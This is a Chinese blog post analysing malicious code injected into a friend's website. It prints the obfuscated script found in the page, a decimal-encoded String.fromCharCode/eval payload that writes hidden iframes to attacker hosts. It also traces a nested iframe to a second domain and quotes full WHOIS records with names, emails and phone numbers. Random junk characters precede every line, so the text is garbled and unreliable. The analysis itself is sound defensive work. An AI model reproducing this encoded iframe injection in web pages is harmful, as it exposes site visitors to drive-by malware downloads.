首发在我的博客里面，
F~'sT}A* FSe5k5 http://www.areway.cn/?p=175 7P
c(<Ui+ <d S5| || kAt
RY4p 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
UT ~4Cfb Ta^.$O=F <script>t=’60,105,102,114,97,109,101,
s_S$7N`ocS 32,115,114,99,61,104,116,116,112,58,47,47,
d96fjj~ 102,114,101,101,46,117,45,117,117,117,46,99,
IG& B2* 110,47,101,114,114,111,114,46,104,116,109,
}9
?y'6l 32,119,105,100,116,104,61,49,48,48,32,104,
E;$$+rA 101,105,103,104,116,61,48,62,60,47,105,102,
K,]woNxaw 114,97,109,101,62′;
ZLuPz # t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Wy!uRzbBv y s/vI/e\ <script>t=’60,105,102,114,97,109,101,32,115,
*iYMX[$ 114,99,61,104,116,116,112,58,47,47,102,114,
vv!Bo~L1, 101,101,46,117,45,117,117,117,46,99,110,47,
>gF-6 n PQ 101,114,114,111,114,46,104,116,109,32,119,
UL[uh@4 105,100,116,104,61,49,48,48,32,104,101,105,
IE|, ~M2 103,104,116,61,48,62,60,47,105,102,114,97,
DgVyy&7> 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
HMhLTl{; document.write(t);</script>
k5 q(7&C vWuy ft * <html xmlns=”
2G H)iUmc http://www.w3.org/1999/xhtml b13nE . “>
}&C dsCM>2 <head>
n00z8B1j(l <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
\6Xn]S <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
G%Y*q(VrEu <title>首页 - 爱生活家庭网
s
*K:IgJ/ + 2OZJVJ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
?,!uA)({n 转换字符串后的大概内容是（谁点击后果自付）：
$4sA nu] <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
z"9aAytd X,&`WPA:S 查询玉米u-uuu.cn的详细信息：
% /~os2R Domain Name: u-uuu.cn
h a N"/C^ ROID: 20070901s10001s64972306-cn
ykJ+%gla Domain Status: ok
.x]'eq} Registrant Organization: 王雷
`d.Gw+Un Registrant Name: 王雷
*13g <#$ Administrative Email:
czlovexs@126.com F_K Sponsoring Registrar: 北京万网志成科技有限公司
{ 576+:* Name Server:ns.yovole.com
\m@] G3=] Name Server:ns1.yovole.com
:{x!g6bK@ Registration Date: 2007-09-01 17:54
9fC iLlI Expiration Date: 2008-09-01 17:54
bOi}; /f 最后PING了一下地址 都没有什么….
Fka1]|j9 O}e|P~W 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
u<$S> <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
K<D`(voL <script language=”javascript” src=”
)j]gm i" http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ]6jHIk| >
<WO&$& 这个玉米应该有可能是木马作者的：
*xEI
Zx foafau.info的详细信息：
~ W2:NQ>i Access to INFO WHOIS information is provided to assist persons in
0~Um^q*'3 determining the contents of a domain name registration record in the
M-{b Afilias registry database. The data in this record is provided by
c(QG4.)m Afilias Limited for informational purposes only, and Afilias does not
y>DfM5> guarantee its accuracy. This service is intended only for query-based
@$2`DI{_^ access. You agree that you will use this data only for lawful purposes
^v YVl{$bT and that, under no circumstances will you use this data to: (a) allow,
NEjPU#@c enable, or otherwise support the transmission by e-mail, telephone, or
SH .9!lQv facsimile of mass unsolicited, commercial advertising or solicitations
}qG?Vmq*R[ to entities other than the data recipient’s own existing customers; or
AGw1Pl8]K (b) enable high volume, automated, electronic processes that send
7}. #Z queries or data to the systems of Registry Operator, a Registrar, or
9:bh3@r/ Afilias except as reasonably necessary to register domain names or
|#Yu.c* modify existing registrations. All rights reserved. Afilias reserves
c #]'#+ aH the right to modify these terms at any time. By submitting this query,
MzBfHt'Rk you agree to abide by this policy.
_ C7abw- Domain ID:D22418703-LRMS
)^*9oqQ Domain Name:FOAFAU.INFO
*+_fP |cv Created On:20-Nov-2007 16:05:42 UTC
MAm1w'ol" Last Updated On:20-Nov-2007 16:05:44 UTC
"Nk=g~| Expiration Date:20-Nov-2008 16:05:42 UTC
.WN;TjEg! Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
X
,V= od> Status:CLIENT DELETE PROHIBITED
q/W{PBb-2k Status:CLIENT RENEW PROHIBITED
clPZ d Status:CLIENT TRANSFER PROHIBITED
Y yQf Status:CLIENT UPDATE PROHIBITED
w>H%[\Qs Status:TRANSFER PROHIBITED
B|Rpm^ | Registrant ID:GODA-040110615
3&drof\{ Registrant Name:liu hong
rf1wS*uU+ Registrant Organization:
$sd3h\P&R Registrant Street1:beijing
>oM9~7f Registrant Street2:
qaC i)f!Dl Registrant Street3:
Nqo#sBS Registrant City:beijing
a<a&6 3 Registrant State/Province:
r{Qs9 Registrant Postal Code:100000
?<>,XyY Registrant Country:CN
} K+Q9<~u Registrant Phone:+86.860108888777
YW4b m Registrant Phone Ext.:
d[P>jl%7 Registrant FAX:
eMpEFY Registrant FAX Ext.:
b] tA2~e Registrant Email:bbbshiji@163.com
,oB k> Admin ID:GODA-240110615
-Y
6.?z Admin Name:liu hong
clR?< LO Admin Organization:
Mo/2,DiI5 Admin Street1:beijing
WIH4Aw Admin Street2:
WacU@L $A Admin Street3:
4$q )e<- Admin City:beijing
R&x7 Iq:=D Admin State/Province:
V{AH\IV- Admin Postal Code:100000
tLoD"/z Admin Country:CN
(to/9 OrG Admin Phone:+86.860108888777
Yt O@n@1 Admin Phone Ext.:
ga 2Q3mV Admin FAX:
H8o%H=I% Admin FAX Ext.:
, XBV }y Admin Email:bbbshiji@163.com
b*6c. o Billing ID:GODA-340110615
%x'bo>h@ Billing Name:liu hong
\ /x)BE, Billing Organization:
6b+ Wl Ib Billing Street1:beijing
&)"7am(S` Billing Street2:
;f ;*Q>! Billing Street3:
uz#eO|z@o Billing City:beijing
s:m<(8WRw Billing State/Province:
\{+nXn Billing Postal Code:100000
i Ks,i9j Billing Country:CN
.olP m3MC Billing Phone:+86.860108888777
W :+2We @ Billing Phone Ext.:
;SlS!6.W- Billing FAX:
vElL.<.. Billing FAX Ext.:
tE9_dR^K Billing Email:bbbshiji@163.com
$E9daUt8"J Tech ID:GODA-140110615
>gOI]*!5 Tech Name:liu hong
G
&rYz Tech Organization:
bh; b `
5 Tech Street1:beijing
Y=WN4w Tech Street2:
1R+ )T'in Tech Street3:
XB!`*vZ/< Tech City:beijing
Oz9 Mqcx Tech State/Province:
<
jocfTBk Tech Postal Code:100000
FOUs=
E[ Tech Country:CN
+O!M> Tech Phone:+86.860108888777
}Cq9{0by?a Tech Phone Ext.:
}2!5#/^~ Tech FAX:
Mp=kZs/ Tech FAX Ext.:
"TH-A6v1 Tech Email:bbbshiji@163.com
ZNH*[[Pf Name Server:NS27.DOMAINCONTROL.COM
8yo6v3JqC Name Server:NS28.DOMAINCONTROL.COM
!K^Z5A_; Name Server:
LG@c)H74 Name Server:
E[Ws} n. Name Server:
hC 4X Y Name Server:
<1 1Tqb Name Server:
D@b<}J>0' Name Server:
KutgW#+40 Name Server:
Q"K >ML>0 Name Server:
b \Xu1> Name Server:
+@7x45;D Name Server:
/%q9hI Name Server:
~ ew**@N Y /ac}q 接着下载每个文件里面的代码：
-.Pu5e t4 一步一步看..
5@Lxbe(
q 
ESf7b `tS 
>\oJ&gdc 
r5qx! > 
Md?bAMnG+} 
<pl 2
dxy 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
